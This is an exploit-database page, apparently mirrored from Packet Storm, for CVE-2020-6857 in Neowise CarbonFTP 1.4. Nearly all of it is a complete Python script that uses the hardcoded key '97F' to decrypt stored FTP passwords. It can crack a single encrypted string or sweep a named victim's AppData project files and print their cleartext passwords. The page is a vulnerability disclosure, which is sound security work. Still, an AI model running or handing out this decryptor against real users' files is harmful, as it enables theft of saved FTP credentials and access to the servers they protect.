Lucene search
K

Neowise CarbonFTP 1.4 Insecure Proprietary Password Encryption

🗓️ 21 Apr 2020 00:00:00Reported by hyp3rlinxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 107 Views

Neowise CarbonFTP 1.4 Insecure Proprietary Password Encryption key "97F", stored at "C:\Users\<VICTIM>\AppData\Roaming\Neowise\CarbonFTPProjects\<FILE>.CFTP". Python code to decrypt and display cracked passwords

Related
Code
`import time, string, sys, argparse, os, codecs  
  
#Fixed: updated for Python 3, the hex decode() function was not working in Python 3 version.  
#This should be compatible for Python 2 and 3 versions now, tested successfully.  
#Sample test password   
#LOOOOONGPASSWORD! = 219042273422734224782298223744247862350210947   
  
key="97F" #2431 in decimal, the weak hardcoded encryption key within the vuln program.  
chunk_sz=5 #number of bytes we must decrypt the password by.  
  
#Password is stored here:  
#C:\Users\<VICTIM>\AppData\Roaming\Neowise\CarbonFTPProjects\<FILE>.CFTP  
  
#Neowise CarbonFTP v1.4  
#Insecure Proprietary Password Encryption  
#By John Page (aka hyp3rlinx)  
#Apparition Security  
#===================================================  
  
def carbonftp_conf(conf_file):  
p=""  
pipe=-1  
passwd=""  
lst_of_passwds=[]  
try:  
for p in conf_file:  
idx = p.find("Password=STRING|")  
if idx != -1:  
pipe = p.find("|")  
if pipe != -1:  
passwd = p[pipe + 2: -2]  
print(" Password found: "+ passwd)  
lst_of_passwds.append(passwd)   
except Exception as e:  
print(str(e))  
return lst_of_passwds   
  
  
def reorder(lst):  
k=1  
j=0  
for n in range(len(lst)):  
k+=1  
j+=1  
try:  
tmp = lst[n+k]  
a = lst[n+j]  
lst[n+j] = tmp  
lst[n+k] = a  
except Exception as e:  
pass  
return ''.join(lst)  
  
  
def dec2hex(dec):  
tmp = str(hex(int(dec)))  
return str(tmp[2:])  
  
  
#Updated for Python version compatibility.  
def hex2ascii(h):  
h=h.strip()  
passwd=""  
try:  
passwd = codecs.decode(h, "hex").decode("ascii")  
except Exception as e:  
print("[!] In hex2ascii(), not a valid hex string.")  
exit()  
return passwd  
  
  
def chunk_passwd(passwd_lst):  
lst = []  
for passwd in passwd_lst:  
while passwd:  
lst.append(passwd[:chunk_sz])  
passwd = passwd[chunk_sz:]  
return lst  
  
  
def strip_non_printable_char(str):  
return ''.join([x for x in str if ord(x) > 31 or ord(x)==9])  
  
cnt = 0  
passwd_str=""  
def deob(c):  
  
global cnt, passwd_str  
  
tmp=""  
  
try:  
tmp = int(c) - int(key, 16)  
tmp = dec2hex(tmp)  
except Exception as e:  
print("[!] Not a valid CarbonFTP encrypted password.")  
exit()  
  
b=""  
a=""  
  
#Seems we can delete the second char as its most always junk.  
if cnt!=1:  
a = tmp[:2]  
cnt+=1  
else:  
b = tmp[:4]  
  
passwd_str += strip_non_printable_char(hex2ascii(a + b))  
hex_passwd_lst = list(passwd_str)  
return hex_passwd_lst  
  
  
def no_unique_chars(lst):  
c=0  
k=1  
j=0  
for i in range(len(lst)):  
k+=1  
j+=1  
try:  
a = lst[i]  
b = lst[i+1]  
if a != b:  
c+=1  
elif c==0:  
print("[!] Possible one char password?: " +str(lst[0]))  
return lst[0]  
except Exception as e:  
pass  
return False  
  
  
def decryptor(result_lst):  
  
global passwd_str, sz  
  
print(" Decrypting ... \n")  
for i in result_lst:  
print("[-] "+i)  
time.sleep(0.1)  
lst = deob(i)  
  
#Re-order chars to correct sequence using custom swap function (reorder).  
reordered_pass = reorder(lst)  
sz = len(reordered_pass)  
  
#Flag possible single char password.  
no_unique_chars(lst)  
  
print("[+] PASSWORD LENGTH: " + str(sz))  
if sz == 9:  
return (reordered_pass[:-1] + " | " + reordered_pass[:-2] + " | " + reordered_pass[:-3] + " | " + reordered_pass[:-4] + " | " +  
reordered_pass[:-5] +" | " + reordered_pass[:-6] + " | "+ reordered_pass[:-7] + " | " + reordered_pass)  
  
#Shorter passwords less then nine chars will have several candidates  
#as they get padded with repeating chars so we return those.  
  
passwd_str=""  
return reordered_pass  
  
  
def display_cracked_passwd(sz, passwd):  
if sz==9:  
print("[*] PASSWORD CANDIDATES: "+ passwd + "\n")  
else:  
print("[*] DECRYPTED PASSWORD: "+passwd + "\n")  
  
  
def parse_args():  
parser = argparse.ArgumentParser()  
parser.add_argument("-u", "--user", help="Username to crack a directory of Carbon .CFTP password files")  
parser.add_argument("-p", "--encrypted_password", help="Crack a single encrypted password")  
return parser.parse_args()  
  
  
def main(args):  
  
global passwd_str, sz  
victim=""  
  
if args.user and args.encrypted_password:  
print("[!] Supply a victims username -u or single encrypted password -p, not both.")  
exit()  
  
print("[+] Neowise CarbonFTP v1.4")  
time.sleep(0.1)  
print("[+] CVE-2020-6857 Insecure Proprietary Password Encryption")  
time.sleep(0.1)  
print("[+] Version 2 Exploit fixed for Python 3 compatibility")  
time.sleep(0.1)  
print("[+] Discovered and cracked by hyp3rlinx")  
time.sleep(0.1)  
print("[+] ApparitionSec\n")  
time.sleep(1)  
  
#Crack a dir of carbonFTP conf files containing encrypted passwords -u flag.  
if args.user:  
victim = args.user  
os.chdir("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/")  
dir_lst = os.listdir(".")  
for c in dir_lst:  
f=open("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/"+c, "r")  
#Get encrypted password from conf file  
passwd_enc = carbonftp_conf(f)  
#Break up into 5 byte chunks as processed by the proprietary decryption routine.  
result_lst = chunk_passwd(passwd_enc)  
#Decrypt the 5 byte chunks and reassemble to the cleartext password.  
cracked_passwd = decryptor(result_lst)  
#Print cracked password or candidates.  
display_cracked_passwd(sz, cracked_passwd)  
time.sleep(0.3)  
passwd_str=""  
f.close()  
  
  
#Crack a single password -p flag.  
if args.encrypted_password:  
passwd_to_crack_lst = []  
passwd_to_crack_lst.append(args.encrypted_password)  
result = chunk_passwd(passwd_to_crack_lst)  
#Print cracked password or candidates.  
cracked_passwd = decryptor(result)  
display_cracked_passwd(sz, cracked_passwd)  
  
  
if __name__=="__main__":  
  
parser = argparse.ArgumentParser()  
  
if len(sys.argv)==1:  
parser.print_help(sys.stderr)  
exit()  
  
main(parse_args())  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2020 00:00Current
0.9Low risk
Vulners AI Score0.9
EPSS0.00126
107